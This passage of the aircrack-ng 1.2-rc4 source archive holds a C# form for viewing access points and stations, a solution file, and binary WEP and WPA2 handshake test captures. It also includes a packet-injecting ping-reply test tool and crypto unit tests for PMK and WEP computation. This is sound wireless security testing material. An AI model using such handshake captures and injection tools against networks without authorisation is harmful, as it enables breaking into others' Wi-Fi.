[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } } } aircrack-ng-1.2-rc4/lib/csharp/Example1/Example1/Form1.Designer.cs0000644000000000000000000002423211600011117023140 0ustar rootrootnamespace Example1 { partial class Form1 { /// /// Required designer variable. /// private System.ComponentModel.IContainer components = null; /// /// Clean up any resources being used. /// /// true if managed resources should be disposed; otherwise, false. protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// private void InitializeComponent() { this.dataGridView1 = new System.Windows.Forms.DataGridView(); this.dataGridView2 = new System.Windows.Forms.DataGridView(); this.label1 = new System.Windows.Forms.Label(); this.label2 = new System.Windows.Forms.Label(); this.button1 = new System.Windows.Forms.Button(); this.label3 = new System.Windows.Forms.Label(); this.lblFiletype = new System.Windows.Forms.Label(); this.label4 = new System.Windows.Forms.Label(); this.lblFilename = new System.Windows.Forms.Label(); this.label5 = new System.Windows.Forms.Label(); this.lblParsed = new System.Windows.Forms.Label(); ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).BeginInit(); this.SuspendLayout(); // // dataGridView1 // this.dataGridView1.AllowUserToAddRows = false; this.dataGridView1.AllowUserToDeleteRows = false; this.dataGridView1.AllowUserToOrderColumns = true; this.dataGridView1.AllowUserToResizeRows = false; this.dataGridView1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.dataGridView1.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.ColumnHeader; this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; this.dataGridView1.Location = new System.Drawing.Point(12, 106); this.dataGridView1.MultiSelect = false; this.dataGridView1.Name = "dataGridView1"; this.dataGridView1.ReadOnly = true; this.dataGridView1.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.dataGridView1.Size = new System.Drawing.Size(860, 128); this.dataGridView1.TabIndex = 0; // // dataGridView2 // this.dataGridView2.AllowUserToAddRows = false; this.dataGridView2.AllowUserToDeleteRows = false; this.dataGridView2.AllowUserToOrderColumns = true; this.dataGridView2.AllowUserToResizeRows = false; this.dataGridView2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.dataGridView2.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; this.dataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; this.dataGridView2.Location = new System.Drawing.Point(12, 268); this.dataGridView2.MultiSelect = false; this.dataGridView2.Name = "dataGridView2"; this.dataGridView2.ReadOnly = true; this.dataGridView2.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.dataGridView2.Size = new System.Drawing.Size(860, 128); this.dataGridView2.TabIndex = 1; // // label1 // this.label1.Anchor = System.Windows.Forms.AnchorStyles.Top; this.label1.AutoSize = true; this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label1.Location = new System.Drawing.Point(388, 86); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(109, 17); this.label1.TabIndex = 2; this.label1.Text = "Access Points"; // // label2 // this.label2.Anchor = System.Windows.Forms.AnchorStyles.Top; this.label2.AutoSize = true; this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label2.Location = new System.Drawing.Point(409, 248); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(67, 17); this.label2.TabIndex = 3; this.label2.Text = "Stations"; // // button1 // this.button1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.button1.Location = new System.Drawing.Point(797, 12); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(75, 23); this.button1.TabIndex = 4; this.button1.Text = "Load..."; this.button1.UseVisualStyleBackColor = true; this.button1.Click += new System.EventHandler(this.button1_Click); // // label3 // this.label3.AutoSize = true; this.label3.Location = new System.Drawing.Point(12, 35); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(49, 13); this.label3.TabIndex = 5; this.label3.Text = "File type:"; // // lblFiletype // this.lblFiletype.AutoSize = true; this.lblFiletype.Location = new System.Drawing.Point(67, 35); this.lblFiletype.Name = "lblFiletype"; this.lblFiletype.Size = new System.Drawing.Size(53, 13); this.lblFiletype.TabIndex = 6; this.lblFiletype.Text = "Unknown"; // // label4 // this.label4.AutoSize = true; this.label4.Location = new System.Drawing.Point(12, 12); this.label4.Name = "label4"; this.label4.Size = new System.Drawing.Size(52, 13); this.label4.TabIndex = 7; this.label4.Text = "Filename:"; // // lblFilename // this.lblFilename.AutoSize = true; this.lblFilename.Location = new System.Drawing.Point(67, 12); this.lblFilename.Name = "lblFilename"; this.lblFilename.Size = new System.Drawing.Size(53, 13); this.lblFilename.TabIndex = 8; this.lblFilename.Text = "Unknown"; // // label5 // this.label5.AutoSize = true; this.label5.Location = new System.Drawing.Point(12, 57); this.label5.Name = "label5"; this.label5.Size = new System.Drawing.Size(43, 13); this.label5.TabIndex = 9; this.label5.Text = "Parsed:"; // // lblParsed // this.lblParsed.AutoSize = true; this.lblParsed.Location = new System.Drawing.Point(67, 57); this.lblParsed.Name = "lblParsed"; this.lblParsed.Size = new System.Drawing.Size(53, 13); this.lblParsed.TabIndex = 10; this.lblParsed.Text = "Unknown"; // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(884, 411); this.Controls.Add(this.lblParsed); this.Controls.Add(this.label5); this.Controls.Add(this.lblFilename); this.Controls.Add(this.label4); this.Controls.Add(this.lblFiletype); this.Controls.Add(this.label3); this.Controls.Add(this.button1); this.Controls.Add(this.label2); this.Controls.Add(this.label1); this.Controls.Add(this.dataGridView2); this.Controls.Add(this.dataGridView1); this.MinimumSize = new System.Drawing.Size(200, 438); this.Name = "Form1"; this.Text = "Example 1"; this.SizeChanged += new System.EventHandler(this.Form1_SizeChanged); ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).EndInit(); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.DataGridView dataGridView1; private System.Windows.Forms.DataGridView dataGridView2; private System.Windows.Forms.Label label1; private System.Windows.Forms.Label label2; private System.Windows.Forms.Button button1; private System.Windows.Forms.Label label3; private System.Windows.Forms.Label lblFiletype; private System.Windows.Forms.Label label4; private System.Windows.Forms.Label lblFilename; private System.Windows.Forms.Label label5; private System.Windows.Forms.Label lblParsed; } } aircrack-ng-1.2-rc4/lib/csharp/Example1/Example1.sln0000644000000000000000000000500311600011117020577 0ustar rootroot Microsoft Visual Studio Solution File, Format Version 11.00 # Visual Studio 2010 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Example1", "Example1\Example1.csproj", "{C4AE481A-A896-4830-9202-6221890AB43B}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WirelessPanda", "..\WirelessPanda\WirelessPanda.csproj", "{F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Debug|Mixed Platforms = Debug|Mixed Platforms Debug|x86 = Debug|x86 Release|Any CPU = Release|Any CPU Release|Mixed Platforms = Release|Mixed Platforms Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {C4AE481A-A896-4830-9202-6221890AB43B}.Debug|Any CPU.ActiveCfg = Debug|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Debug|Mixed Platforms.ActiveCfg = Debug|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Debug|Mixed Platforms.Build.0 = Debug|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Debug|x86.ActiveCfg = Debug|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Debug|x86.Build.0 = Debug|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Release|Any CPU.ActiveCfg = Release|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Release|Mixed Platforms.ActiveCfg = Release|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Release|Mixed Platforms.Build.0 = Release|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Release|x86.ActiveCfg = Release|x86 {C4AE481A-A896-4830-9202-6221890AB43B}.Release|x86.Build.0 = Release|x86 {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Debug|Any CPU.Build.0 = Debug|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Debug|Mixed Platforms.ActiveCfg = Debug|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Debug|Mixed Platforms.Build.0 = Debug|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Debug|x86.ActiveCfg = Debug|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Release|Any CPU.ActiveCfg = Release|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Release|Any CPU.Build.0 = Release|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Release|Mixed Platforms.Build.0 = Release|Any CPU {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3}.Release|x86.ActiveCfg = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal aircrack-ng-1.2-rc4/test/0000755000000000000000000000000012660222374013704 5ustar rootrootaircrack-ng-1.2-rc4/test/wep.shared.key.authentication.cap0000644000000000000000000000156010761053203022231 0ustar rootrootÔò¡ÿÿi&£ñEÔŽUU€ÿÿÿÿÿÿl~@€l~@€=í2dteddy‚„‹– 0H *2$`lÝ £,£ñE戰:l~@€µˆ¬‚l~@€`,£ñEØŒ Ôµˆ¬‚,£ñE˘  °:µˆ¬‚l~@€l~@€@B€š˜Ÿœ’‘—–”‹‰ˆŽƒ‚€‡…„º¹¸¾½³²°·µ´ª©¯®¬£¡ ¦¥ÛÚØßÞÜÓÑÐÖÕËÊÈÏÍÌÂÁÇÆÄûùøÿýóòð÷öôëéèîíãâàçåä  ;:8?=<21764+*(/-,"!'&,£ñEíž Ôl~@€,£ñE笨¨°H:l~@€µˆ¬‚l~@€p 1whg'_¡k˜ x ²œ]L«OÓxÕІÃWBBƒ"º¦íþ¨Ø߈½ŽbËð&ÊIÎÒ§Îâú>ã+:, å%&£/¨ .¹ÒK¶/?û±ûïí­w¨G¼NîSø’3˜a~Œ&*‘•Ú)êåáx²0–VGŸ©=I3z"RÓ½üèC H±6N-,£ñEΰ Ôµˆ¬‚,£ñEѶ°:µˆ¬‚l~@€l~@€`B,£ñEìX Ôl~@€,£ñEð`77:l~@€µˆ¬‚l~@€€1dteddy‚„‹ –$!%20H`l,£ñEÌd Ôµˆ¬‚,£ñEÏh<<:µˆ¬‚l~@€l~@€pBÀ‚„‹– 0H2$`lÝ £,£ñEíj Ôl~@€aircrack-ng-1.2-rc4/test/pingreply.c0000644000000000000000000001461512511115146016061 0ustar rootroot/* pingreply.c - Ping reply * * DESCIPTION * * Replies to all ping requests. Useful for testing sniffing/injecting * packets with airtun-ng. * * USAGE * * ./pingreply * * INSTALL * * cc -lpcap -o pingreply pingreply.c * * LICENSE * * Copyright (c) 2015, Jorn van Engelen * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice unmodified, this list of conditions, and the following * disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include #include #include #include #include #include #include struct eth_hdr { unsigned char dst[6]; unsigned char src[6]; unsigned short type; }; struct ip_hdr { unsigned char vhl; unsigned char tos; unsigned short length; unsigned short id; unsigned short off; unsigned char ttl; unsigned char proto; unsigned short chksum; unsigned char src[4]; unsigned char dst[4]; }; struct icmp_hdr { unsigned char type; unsigned char code; unsigned short chksum; unsigned short id; unsigned short seq; unsigned char data[]; }; struct eth_ip_icmp_reply { struct eth_hdr eth; struct ip_hdr ip; struct icmp_hdr icmp; }; pcap_t *p; char errbuf[PCAP_ERRBUF_SIZE]; short internet_chksum( unsigned char *hdr, int len ) { unsigned int sum = 0; while ( len > 1 ) { sum += * (unsigned short*) hdr; hdr += 2; len -= 2; } if ( len > 0 ) sum += * (unsigned char*) hdr; while ( sum >> 16 ) sum = (sum >> 16) + (sum & 0xffff); return ~sum; } void reply_icmp_echo( const struct eth_hdr *eth, const struct ip_hdr *ip, const struct icmp_hdr *icmp, int len) { unsigned char *ptr; struct eth_ip_icmp_reply *reply; reply = (struct eth_ip_icmp_reply*) calloc( sizeof(struct eth_ip_icmp_reply) + len, 1 ); assert( reply != NULL ); memcpy( reply->eth.src, eth->dst, 6 ); memcpy( reply->eth.dst, eth->src, 6 ); reply->eth.type = htons(0x0800); reply->ip.vhl = 0x45; reply->ip.length = htons(sizeof(struct ip_hdr) + sizeof(struct icmp_hdr) + len); reply->ip.id = htons(0xCAFE); reply->ip.ttl = 0x80; reply->ip.proto = 0x01; memcpy( reply->ip.src, ip->dst, 4 ); memcpy( reply->ip.dst, ip->src, 4 ); reply->icmp.type = 0x00; reply->icmp.code = 0x00; reply->icmp.id = icmp->id; reply->icmp.seq = icmp->seq; memcpy( reply->icmp.data, icmp->data, len ); reply->ip.chksum = internet_chksum( (unsigned char*) &(reply->ip), sizeof(struct ip_hdr) ); reply->icmp.chksum = internet_chksum( (unsigned char*) &(reply->icmp), sizeof(struct icmp_hdr) + len ); printf( "Sent icmp echo reply to: %i.%i.%i.%i.\n", ip->src[0], ip->src[1], ip->src[2], ip->src[3] ); if ( pcap_inject( p, reply, sizeof(struct eth_ip_icmp_reply) + len ) == -1 ) { fprintf( stderr, "Could not inject packet: %s\n", pcap_geterr( p ) ); } free( reply ); } void receive_packet( unsigned char *args, const struct pcap_pkthdr *header, const unsigned char *packet) { int len = header->caplen; int ip_hdr_len; const struct eth_hdr *eth; const struct ip_hdr *ip; const struct icmp_hdr *icmp; len -= sizeof(struct eth_hdr); if ( len < 0 ) return; eth = (struct eth_hdr*) packet; packet += sizeof(struct eth_hdr); /* Packet must be IPv4 */ if ( ntohs(eth->type) != 0x0800 ) return; if ( len < sizeof(struct ip_hdr) ) return; ip = (struct ip_hdr*) packet; if ( ntohs( ip->length ) != len ) return; if ( ip->vhl >> 4 != 4 ) return; ip_hdr_len = ( ip->vhl & 0x0F ) * 4; if ( ip_hdr_len < sizeof(struct ip_hdr) ) return; len -= ip_hdr_len; if ( len < 0 ) return; packet += ip_hdr_len; /* Packet must be ICMP */ if ( ip->proto != 0x01 ) return; len -= sizeof(struct icmp_hdr); if ( len < 0 ) return; icmp = (struct icmp_hdr*) packet; packet += sizeof(struct icmp_hdr); /* Packet must be echo request */ if ( ! ( icmp->type == 0x08 && icmp->code == 0x00 ) ) return; usleep( 2000 ); reply_icmp_echo( eth, ip, icmp, len ); } int main( int argc, char *argv[] ) { struct bpf_program fp; if ( argc != 2 ) { fprintf( stderr, "Usage: pingrep \n" ); return 2; } p = pcap_open_live( argv[1], 1024, 1, 0, errbuf ); if ( p == NULL ) { fprintf( stderr, "Could not open device %s: %s\n", argv[1], errbuf ); return 2; } if ( pcap_datalink( p ) != DLT_EN10MB ) { fprintf( stderr, "Expected Ethernet from device %s.\n", argv[1] ); return 2; } if ( pcap_compile( p, &fp, "icmp[icmptype] = icmp-echo", 0, PCAP_NETMASK_UNKNOWN ) == -1 ) { fprintf( stderr, "Could not parse filter: %s\n", pcap_geterr( p ) ); return 2; } if ( pcap_setfilter( p, &fp ) == -1 ) { fprintf( stderr, "Could not install filter: %s\n", pcap_geterr( p ) ); return 2; } printf( "Receiving packets ...\n" ); pcap_loop( p, 0, receive_packet, NULL ); pcap_freecode( &fp ); pcap_close( p ); printf( "Done.\n" ); return 0; } aircrack-ng-1.2-rc4/test/wpa2.eapol.cap0000644000000000000000000000144210761053203016333 0ustar rootrootÔò¡ÿÿiÞ–sDͰ ``€ÿÿÿÿÿÿl~@€l~@€aêú1Harkonen‚„‹– 0H*2$`l0¬¬¬›—sDº˜ ƒƒ:Fþ2 l~@€l~@€ ªªˆŽ_Š"XT°DMã¯ÑI+…)„ðLö'L2¸hV†M· Uœ—sD¼.™™,l~@€Fþ2 l~@€0ªªˆŽu Y‹Ã¥ß×ûd#ó@«ž¢»Å†Yà{7d°Þ…pÕ5S‚¸©¸ܯ™Í¯VN¶0¬¬¬œ—sDÁ<»»:Fþ2 l~@€l~@€`ªªˆŽ—Ê"XT°DMã¯ÑI+…)„ðLö'L2¸hV†M· U.î÷ý–ŽÈ î=û‡^‚"7"†rÒÞé0qOhŒWF8<©Tb줫õӣ暃‘õ­‚Lž v7”Æ€*Ó¿E/»|_éõ»Óˆ®UžxÒ~kœ—sD¾hƒƒ,l~@€Fþ2 l~@€@ªªˆŽ_ ȦÄÇ)dçð Cc5Èaircrack-ng-1.2-rc4/test/cryptounittest/0000755000000000000000000000000012660222363017022 5ustar rootrootaircrack-ng-1.2-rc4/test/cryptounittest/test-calc-4pmk.c0000644000000000000000000001011612640667310021720 0ustar rootroot/* * * test-calc-4pmk.c * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include #include #include #include #include "crypto.h" #include "sha1-sse2.h" #include "tests.h" #include "aircrack-ng.h" #ifndef OLD_SSE_CORE #include "wpapsk.h" #endif #define KLEN 32 int main(int argc, char **argv) { if (argc < 1) return 1; int error=0, j; char key[8][128]; unsigned char pmk[8][128]; unsigned char epmk[8][128]; cpuinfo.simdsize = cpuid_simdsize(0); bzero(&pmk,sizeof(pmk)); bzero(&epmk,sizeof(epmk)); bzero(&key,sizeof(key)); strcpy(key[0],"biscotte"); strcpy(key[1],"password"); strcpy(key[2],"aircrack"); strcpy(key[3],"keyboard"); #ifndef OLD_SSE_CORE if (cpuinfo.simdsize > 4) { // For testing AVX2 / 256bit strcpy(key[4],"biscotte"); strcpy(key[5],"password"); strcpy(key[6],"aircrack"); strcpy(key[7],"keyboard"); } #endif memcpy(epmk[0], "\xcd\xd7\x9a\x5a\xcf\xb0\x70\xc7\xe9\xd1\x02\x3b\x87\x02\x85\xd6" "\x39\xe4\x30\xb3\x2f\x31\xaa\x37\xac\x82\x5a\x55\xb5\x55\x24\xee", KLEN); memcpy(epmk[1], "\x9a\x15\xed\x29\xa9\xb8\x0e\x5d\x52\x32\xa0\x64\x4c\xfd\x40\x4b" "\x83\x97\x9b\x57\xaf\x83\x05\x80\x6d\xd4\xd4\x86\x50\x06\xed\x7d", KLEN); memcpy(epmk[2], "\x12\x8c\x41\xed\xf5\x32\x1c\x51\x1f\xd6\xaf\x07\x96\x95\xdf\x71" "\x5c\xb1\xb7\x68\x6f\x1a\xed\xe9\x70\x1e\x87\x07\xb8\xc9\xb4\x3b", KLEN); memcpy(epmk[3], "\xbb\x84\x66\x33\xef\x41\x5a\xb6\xcd\x83\x93\xc6\x00\x18\x26\x42" "\x76\x62\x7c\x4e\xbc\x6b\x8f\x20\x9b\xbe\x59\xb4\x86\x71\x69\xdd", KLEN); #ifndef OLD_SSE_CORE memcpy(epmk[4], "\xcd\xd7\x9a\x5a\xcf\xb0\x70\xc7\xe9\xd1\x02\x3b\x87\x02\x85\xd6" "\x39\xe4\x30\xb3\x2f\x31\xaa\x37\xac\x82\x5a\x55\xb5\x55\x24\xee", KLEN); memcpy(epmk[5], "\x9a\x15\xed\x29\xa9\xb8\x0e\x5d\x52\x32\xa0\x64\x4c\xfd\x40\x4b" "\x83\x97\x9b\x57\xaf\x83\x05\x80\x6d\xd4\xd4\x86\x50\x06\xed\x7d", KLEN); memcpy(epmk[6], "\x12\x8c\x41\xed\xf5\x32\x1c\x51\x1f\xd6\xaf\x07\x96\x95\xdf\x71" "\x5c\xb1\xb7\x68\x6f\x1a\xed\xe9\x70\x1e\x87\x07\xb8\xc9\xb4\x3b", KLEN); memcpy(epmk[7], "\xbb\x84\x66\x33\xef\x41\x5a\xb6\xcd\x83\x93\xc6\x00\x18\x26\x42" "\x76\x62\x7c\x4e\xbc\x6b\x8f\x20\x9b\xbe\x59\xb4\x86\x71\x69\xdd", KLEN); #endif static char essid[] = "test"; #ifndef OLD_SSE_CORE // int slen = strlen(essid) + 4; int threadid = 1; init_ssecore(threadid); #endif #if defined(__i386__) || defined(__x86_64__) // Check for SSE2, with SSE2 the algorithm works with 4 keys if (cpuinfo.simdsize >= 4) { #ifdef OLD_SSE_CORE calc_4pmk( key[0], key[1], key[2], key[3], essid, pmk[0], pmk[1], pmk[2], pmk[3] ); #else init_wpapsk(key, essid, threadid); memcpy(pmk[0], xpmk1[threadid], 32); memcpy(pmk[1], xpmk2[threadid], 32); memcpy(pmk[2], xpmk3[threadid], 32); memcpy(pmk[3], xpmk4[threadid], 32); if (cpuinfo.simdsize > 4) { memcpy(pmk[4], xpmk5[threadid], 32); memcpy(pmk[5], xpmk6[threadid], 32); memcpy(pmk[6], xpmk7[threadid], 32); memcpy(pmk[7], xpmk8[threadid], 32); } #endif for (j = 0; j < cpuinfo.simdsize; j++) error += test(pmk[j],epmk[j],32, argv[0]); } #endif // do non-sse calc_pmk for(j=0; j<4; ++j) calc_pmk( key[j], essid, pmk[j] ); for (j=0;j<4;j++) error += test(pmk[j],epmk[j],32, argv[0]); return error; } aircrack-ng-1.2-rc4/test/cryptounittest/tests.h0000644000000000000000000000332612004020431020321 0ustar rootroot/* * * tests.h * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ int ntest=1; void hexdump (unsigned char *buffer, int length) { int i,x; x=1; for (i=0; i15) { x=0; printf("\n"); } x++; } printf("\n"); } int test (unsigned char *computed, unsigned char *expected, int length, char* name) { int z; int error=0; for (z=0; z< length; z++) if ( computed[z] != expected[z] ) error = 1; if (error == 1) { printf ("[%s][Test %d] ERROR: The output don't match. I got:\n",name,ntest++); hexdump (computed,length); printf ("And i was expecting:\n"); hexdump (expected,length); } else { printf("[%s][Test %d] OK: Output matchs :)\n",name,ntest++); } return error; } aircrack-ng-1.2-rc4/test/cryptounittest/test-encrypt-wep.c0000644000000000000000000000775312251615154022434 0ustar rootroot/* * * test-encrypt-wep.c * * Copyright (C) 2012 Carlos Alberto Lopez Perez * * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include #include #include #include "crypto.h" #include "tests.h" #define BLEN 256 #define KLEN 13 int main(int argc, char **argv) { if (argc < 1) return 1; int error=0; static unsigned char expected[BLEN] = "\x72\xea\x7c\xf3\x62\xd0\x63\xb6\xf6\x3b\xd6\xfc\x1c\x6c\xc0\x18" "\xd0\x10\x23\xd6\x86\x4e\x04\xf0\x0e\xc7\x34\xca\x66\x34\x01\xac" "\x46\xd4\x7d\x15\x24\xa7\xaa\xb0\x06\x01\x4f\x9f\x61\x1c\x4e\x6d" "\x54\x22\x83\x6f\x36\x43\x12\x01\x07\xb8\xdb\x3c\x32\xc6\xe2\x5f" "\x66\x4e\x7e\x55\x4f\x5d\x61\x30\x8a\xb9\xb7\x11\xcb\xae\xe9\x68" "\x66\x10\x7d\xe7\x39\x29\xef\xb0\x69\xca\xec\xcf\x2c\x68\x57\x52" "\x62\x4f\x89\xd6\x58\x05\xe3\x6a\xa1\xd1\xc8\x2c\x0b\x2d\xe4\xc9" "\x73\xd7\xb0\x4f\x65\x57\xa2\x19\xc7\xbf\xa1\xa7\x43\x49\x51\x14" "\xa4\x12\x24\x15\xb1\x71\x39\xde\x5e\x95\x15\xb4\xb9\xb5\x61\x57" "\xbf\x43\x24\xe2\xb8\x9f\x38\x2f\x45\x29\xfa\x95\x80\x18\x0d\x5d" "\x41\x35\x2a\x83\x44\x37\x71\xcb\x80\x3d\x9d\xc4\xdc\xc4\x26\xea" "\x28\xb9\xa7\x2b\x40\x56\x27\xee\xbc\xfa\xf7\x98\x09\x33\xd1\xe3" "\x85\x79\x0d\xd8\x87\xa3\xfe\x8e\x37\xc4\x48\xbf\x66\x86\xfa\x49" "\x0e\x0f\xf2\x82\x42\xfe\x87\xcd\x18\xb0\x8a\x91\xbb\x97\x9b\x4e" "\x92\x36\xb2\x47\x12\xf0\xeb\x09\xdc\x7a\xdf\x60\xdf\xcd\x19\x7c" "\x2d\x72\x4e\x3a\x6d\x8f\x53\x8e\xe1\x03\xeb\x44\x4a\x02\x9f\x52"; static unsigned char key[KLEN] = "\x6E\x9C\x7A\x91\x9F\xB8\xAE\x93\xC1\xAB\x80\x3C\x09"; static unsigned char input[BLEN] = "\x91\xCE\xFF\xF0\x9B\x76\xB1\xC7\xB3\xAE\xE9\xB6\x39\xE2\xE2\xCB" "\x46\xBB\x20\xDA\xEF\x0D\xD8\x65\x75\x37\xFF\x8B\x78\x49\x39\x6E" "\x08\x6D\x93\x0A\x40\xD1\xA7\xE6\x22\x6B\xFF\x94\x21\xA8\x0E\xDB" "\x33\x2B\x4B\x88\x19\x6C\x94\x0E\xF3\xD8\xCC\xCB\xAF\x99\x89\x49" "\x4F\x4B\x42\x4F\xF4\x96\xA6\xD3\xC9\x00\xB7\xC7\x11\x63\x95\x0E" "\x29\x71\x0A\x38\xC2\x04\xDF\xB5\x01\xAA\xCA\x86\x47\x4A\xA3\x41" "\xE6\x1A\x00\xA7\xD6\xFF\xE7\x89\x64\xB5\x38\x2A\x5D\xBC\x13\x94" "\x8E\x0C\x93\xB6\xC8\x4E\x4F\xC6\x06\x9B\xEF\x9B\x56\xE3\x90\x54" "\xCB\x34\x64\x0B\x3D\x12\x02\x62\xFE\xDC\xA8\x8E\x38\xCE\x36\x3A" "\xE8\x4D\xF0\xED\x71\x59\xE5\xED\xA4\xB1\x12\xEB\xD5\x83\xA6\xC9" "\x5C\x76\x98\x8D\x1B\xCB\x3C\x31\xF5\x10\xFE\x40\xCC\x83\x27\xE6" "\xDF\xB9\xE1\x84\xFC\xC3\xCC\x8D\x7A\xA3\xE5\x61\x56\x92\xAD\x7C" "\xA2\x62\x46\x6F\x5C\xA0\x16\xC4\x52\xDB\xF6\x75\xE1\x35\x22\x91" 